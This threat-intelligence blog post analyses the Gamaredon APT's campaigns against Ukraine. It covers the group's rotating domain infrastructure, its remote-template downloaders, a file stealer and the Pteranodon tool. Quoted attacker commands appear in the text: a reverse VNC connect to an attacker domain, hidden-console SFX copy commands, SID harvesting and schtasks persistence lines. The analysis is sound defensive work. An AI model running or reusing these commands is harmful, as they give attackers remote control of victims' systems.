This post is also available in: 日本語 (Japanese)
Updated June 22 to include new information on Gamaredon infrastructure and Indicators of Compromise (IoCs).
Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically. It is estimated that Russia has now amassed over 100,000 troops on Ukraine's eastern border, leading some to speculate that an invasion may come next. On Jan. 14, 2022, this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites. While attribution of those events is ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves. We have also observed recent activity from Gamaredon. In light of this, this blog provides an update on the Gamaredon group.
Since 2013, just prior to Russia’s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns against Ukrainian government officials and organizations. In 2017, Unit 42 published its first research documenting Gamaredon’s evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of this group align with Russian interests. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU) publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea. Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group.
Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for indicators of their operations. In doing so, we have mapped out three large clusters of their infrastructure used to support different phishing and malware purposes. These clusters link to over 700 malicious domains, 215 IP addresses and over 100 samples of malware.
Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022. We have also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing (VNC) software. The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity organizations in defending against this threat group.
Update Feb. 16: When we originally published this report, we noted, “While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered.” We have since discovered hundreds more Gamaredon-related domains, including known related-clusters, and also new clusters. We have updated our Indicators of Compromise (IoCs) to include these additional domains and cluster observations.
Update June 22: As noted in February, Unit 42 continues to monitor and research Gamaredon infrastructure and malware. Today we are sharing another update to our Gamaredon IoCs, listing infrastructure that we have observed since the previous update.
Full visualization of the techniques observed, relevant courses of action and IoCs related to this Gamaredon report can be found in the Unit 42 ATOM viewer.
Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR and the WildFire, AutoFocus, Advanced URL Filtering and DNS Security subscription services for the Next-Generation Firewall.
|Related Unit 42 Topics||Gamaredon, APTs|
Table of Contents
Gamaredon Downloader Infrastructure (Cluster 1)
-Cluster 1 History
-SFX Files and UltraVNC
SSL Pivot to Additional Infrastructure and Samples
File Stealer (Cluster 2)
Pteranodon (Cluster 3)
-Protections and Mitigations
Indicators of Compromise
Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure. Most actors choose to discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution. However, Gamaredon’s approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure. A prime example can be seen in the domain libre4[.]space. Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019. Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon. Yet despite public attribution, the domain continues to resolve to new internet protocol (IP) addresses daily.
Pivoting to the first IP on the list (194.58.100[.]17) reveals a cluster of domains rotated and parked on the IP on the exact same day.
Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains. These are domains that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet been used. Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure.
Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses; interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated by the same entity used as the registrar for these domains, reg[.]ru. The total number of IPs translates to the introduction of roughly two new IP addresses every day into Gamaredon’s malicious infrastructure pool. Monitoring this pool, it appears that the actors are activating new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP infrastructure. This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers.
For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the precise day of a phishing campaign. Furthermore, Gamaredon’s technique provides the actors with a degree of control over who can access malicious files hosted on their infrastructure, as a web page’s uniform resource locator (URL) file path embedded in a downloader only works for a finite period of time. Once the domains are rotated to a new IP address, requests for the URL file paths will result in a “404” file not found error for anyone attempting to study the malware.
While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018. Certain “marker” domains, such as the aforementioned libre4[.]space, are still active today and also traced back to March 2019 with apparently consistent ownership. On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.]107 with thematically linked naming – several of which are still active in this cluster today.
Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.]space on 195.88.209[.]136, in December 2018.
We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this cluster currently active.
Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the identification of 17 samples over the past three months. The majority of these files were either shared by entities in Ukraine or contained Ukrainian filenames.
|ПІДОЗРА РЯЗАНЦЕВА.docx||RAZANTSEV IS SUSPICIOUS.docx|
|протокол допиту.docx||interrogation protocol.docx|
|висновок тимошечкин.docx||conclusion Timoshechkin.docx|
|Звіт на ДМС за червень 2021 (Автосохраненный).doc||Report on the LCA for June 2021 (Autosaved) .doc|
|висновок Кличко.docx||Klitschko's conclusion.docx|
|Обвинувальний акт ГЕРМАН та ін.docx||Indictment GERMAN et al.docx|
|супровід 1-СЛ 10 місяців.doc||support 1-SL 10 months.doc|
Table 1. Recently observed downloader filenames.
An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document. Recent examples of the remote template “dot” file URLs these documents use include the following:
Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp and others. We believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services.
Taking a deeper look at the top two, hokoldar[.]ru and reapart[.]ru, provides unique insights into two recent phishing campaigns. Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other Gamaredon domains on Jan. 4. Figure 2 above shows that hokoldar[.]ru continued to share an IP address with libre4[.]space on Jan. 27, once again associating it with the Gamaredon infrastructure pool. In that short window, on Jan. 19, we observed a targeted phishing attempt against a Western government entity operating in Ukraine.
In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment service within Ukraine. In doing so, the actors searched for an active job posting, uploaded their downloader as a resume and submitted it through the job search platform to a Western government entity. Given the steps and precision delivery involved in this campaign, it appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization.
Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of Ukraine. On Dec. 1, an email was sent from yana_gurina@ukr[.]net to 6524@dmsu[.]gov.ua. The subject of the email was “NOVEMBER REPORT” and attached to the email was a file called “Report on the LCA for June 2021(Autosaved).doc.” When opened, this Word document calls out to reapart[.]ru. From there, it downloads and then executes a malicious remote Word Document Template file named glitter.kdp.
CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently published an article on Gamaredon which covers the content returned from these remote template files. To summarize their findings on this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and will retrieve the next payload once the Gamaredon group is ready for the next phase. In CERT-EE’s case, after six hours the infrastructure came back to life again and downloaded a SelF-eXtracting (SFX) archive.
This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim computers. The group’s current preference appears to be open-source UltraVNC software.
SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package. In the case of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software. This lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel, allowing attackers to bypass the typical firewall restrictions; these reverse connections seemingly are not initiated by the attacker but instead come from inside the network where the victim exists. To illustrate how this occurs, we will step through one of the SFX files (SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified.
When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the archive. In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive. In some instances, the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found, similar to this:
This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period.
The following files were included in this particular archive:
Table 2. Files included in the example SFX Archive.
The batch files use randomized alphanumeric strings for the variable names, and – depending on the sample – collect different information or use different domains and filenames; however, at the core they each perform one specific function – initiate the reverse VNC connection. The purpose of this file is to obscure and execute the desired command: start "" "%CD%\sysctl.exe" -autoreconnect -id:[system media access control (MAC) address] -connect technec[.]org:8080
In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous scripts (we’ll cover this in more detail later). This variable, along with the next few, will identify the process name the malware will masquerade under, an identifier with which to track the victim, the remote attacker’s domain to which the connection should be made, the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use. At every turn, the actor tries to blend into normal user traffic to remain under the radar for as long as possible.
After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself.
As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and – along with the two files rc4.key and MSRC4Plugin_for_sc.dsm – will encrypt the communication to further hide from network detection tools.
It’s not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a long key. Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to the system.
The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also that these potentially staged files are not present in all samples.
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp %USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini"
RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd"
While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon group’s processes.
Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the same attacker-controlled VNC server. Initially, these files were uploaded to VirusTotal via the Tor network and used the process name svchosst over transmission control protocol (TCP)/8080, leveraging the user’s Windows security identifier (SID) instead of MAC address for the VNC identification. The SFX files simply had the name 1.exe.
@for /f %%i in ('wmic useraccount where name^='%USERNAME%' get
sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i
Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the code that prevents it from executing correctly. Note the positional change of the variables as well.
The bug is due to the onnect value that is set. Reviewing how the reverse VNC connection is launched, this value is used in two places: -autorec%djM8MfMRM0M5MBM0% and -%djM8MfMRM0M5MBM0%.
start "1" "%CD%\%qgSjSdSaSsSiSGS3%.exe"
The second instance doesn’t contain the c value needed to correctly spell the word and thus presents an invalid parameter. After another three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content.
Again, minutes later, we saw 2.exe uploaded with the test.cmd, but this time it contained the initial part of the .cmd file. However, the actor had forgotten to include the VNC connect string.
This is where it gets interesting, though – about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was being uploaded directly by a user in Russia from a public IP address. We continued to observe this pattern of uploads every few minutes, where each was a slight iteration of the one before. The person uploading the files appeared to be rapidly – and manually – modifying the .cmd file to restore functionality (though the actor was unsuccessful in this series of uploads).
Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our full IoC list).
While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP address 92.242.62[.]96:
Common name: ip45-159-200-109.crelcom[.]ru
Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the netblock containing the IP address is registered to an address in Simferopol, Crimea. We further trace the apparent origins of Crelcom back to Simferopol, Crimea, as well.
This certificate relates to 79 IP addresses:
- The common-name IP address - no Gamaredon domains
- One IP address links to cluster 1 above (92.242.62[.]96)
- 76 IP addresses link to another distinct collection of domains – “cluster 2”
- 1 IP address led us to another distinct cluster, “cluster 3” (194.67.116[.]67)
We find almost no overlap of IP addresses between these separate clusters.
Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of Gamaredon’s file stealer tool. Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have been shared by entities in Ukraine. The C2 domains in those samples include:
Table 3. Recent file stealer C2 domains.
As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations. For example, only five out of 93 vendors consider the domain krashand[.]ru to be malicious on VirusTotal.
Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each. Some of the subdomains follow a standardized pattern. For example, several of the domains use the first few letters of the alphabet (a, b, c) in a repeating combination. Conversely, jolotras[.]ru and moolin[.]ru use randomized alphanumeric characters. We believe that these subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server. As such, counting the number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to connect to the server. However, it is important to also note that the number of pDNS entries can also be skewed by researchers and cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain.
Table 4. Subdomain naming for file stealer infrastructure.
In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses they point to. This allowed us to identify the following active infrastructure:
|IP Address||First Seen|
Table 5. Recent file stealer IP infrastructure.
Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier. Historically, we have seen the C2 domains point to various autonomous systems (AS) globally. However, as of early November, it appears that the actors have consolidated all of their file stealer infrastructure within Russian ASs – predominantly this single AS.
In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner similar to the downloader infrastructure discussed previously. A malicious domain may point to one of the C2 server IP addresses today while pointing to a different address tomorrow. This adds a degree of complexity and obfuscation that makes it challenging for network defenders to identify and remove the malware from infected networks. The discovery of a C2 domain in network logs thus requires defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over time. As an example, moolin[.]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days.
|IP Address||Country||AS||First Seen||Last Seen|
Table 6. Recent file stealer IP infrastructure
Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an HTTPS connection directly to the IP address. For example:
C2 Domain: moolin[.]ru
C2 IP Address: 194.67.109[.]164
C2 Comms: https://194.67.109[.]164/zB6OZj6F0zYfSQ
This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL filtering:
- The domain itself is only used in an initial DNS request to resolve the C2 server IP address – no actual connection is attempted using the domain name.
- Identification and blocking of a domain doesn’t impact existing compromises as the malware will continue to communicate directly with the C2 server using the IP address – even if the domain is subsequently deleted or rotated to a new IP – as long as the malware continues to run.
One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was found to be a .NET binary that had been obfuscated to make analysis more difficult. The first thing that jumps out when reviewing these files are their sizes. This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond. It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files. It may also simply be a byproduct of the obfuscation tools being used. Whatever the reason for the large file size, it comes at a price to the attacker, as executables of this size stick out upon review. Transmitting a file this large to a victim becomes a much more challenging task.
The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise.
It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already running and will cause the file stealer to exit. Next, it will create the folder C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons, wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MM-DD-HH-MM.jpg.
To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23 characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.]ru.
As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name. Instead, all communications will be direct with the IP address.
During execution, it will search all fixed and network drives attached to the computer for the following extensions:
When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of the file and the last time the file was written to, similar to the example below:
C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM
The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example:
Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase. These MD5 hashes are then saved into the file C:\Users\%USER%\AppData\Local\IconsCache.db. The naming of this file is another attempt to hide in plain sight next to the legitimate IconCache.db.
The malware uses this database to track unique files.
The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique illustrated previously with the moolin[.]ru domain example:
Below is the full list of domains currently resolving to cluster 2 IP addresses:
Table 7. All cluster 2 domains.
The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third, distinct cluster of domains.
This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. Gamaredon has used, maintained and updated development of this code for years. Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts. It is capable of downloading and executing files, capturing screenshots and executing arbitrary commands on compromised systems.
Over the last three months, we have identified 33 samples of Pteranodon. These samples are commonly named 7ZSfxMod_x86.exe. Pivoting across this cluster, we identified the following C2 infrastructure:
Table 8. Cluster 3 domains.
We again observe domain reputation aging, as seen in cluster 2.
An interesting naming pattern is seen in cluster 3 – also seen in some cluster 1 host and subdomain names. We see these actors using English words, seemingly grouped by the first two or three letters. For example:
This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example:
This pattern is even carried into HTTP POSTs, files and directories created by associated samples:
C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deep-naked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F
"C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F
Because we only see this with some domains, this may be a technique employed by a small group of actors or teams. It suggests a possible link between the cluster 3 samples and those from cluster 1 employing a similar naming system. In contrast, we do not observe cluster 2’s large-number or random-string naming technique employed in any cluster 1 domains.
Gamaredon has been targeting Ukrainian victims for almost a decade. As international tensions surrounding Ukraine remain unresolved, Gamaredon’s operations are likely to continue to focus on Russian interests in the region. This blog serves to highlight the importance of research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nation-state cyberthreats. While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered. Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for indicators to put protections in place to defend our customers anywhere in the world. We encourage all organizations to leverage this research to hunt for and defend against this threat.
The best defense against this evolving threat group is a security posture that favors prevention. We recommend that organizations implement the following:
- Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group.
- Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above.
- Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
- Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru).
- If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign:
Cortex XDR protects endpoints from the malware techniques described in this blog.
WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub.
Additional IoCs shared in a Feb. 16 update to this report are also available.
On June 22, we shared additional Gamaredon IoCs.
The Gamaredon Group Toolset Evolution – Unit 42, Palo Alto Networks
Threat Brief: Ongoing Russia and Ukraine Cyber Conflict – Unit 42, Palo Alto Networks
Technical Report on Armageddon / Gamaredon – Security Service of Ukraine
Tale of Gamaredon Infection – CERT-EE / Estonian Information System Authority
Updated June 22, 2021, at 8 a.m. PT.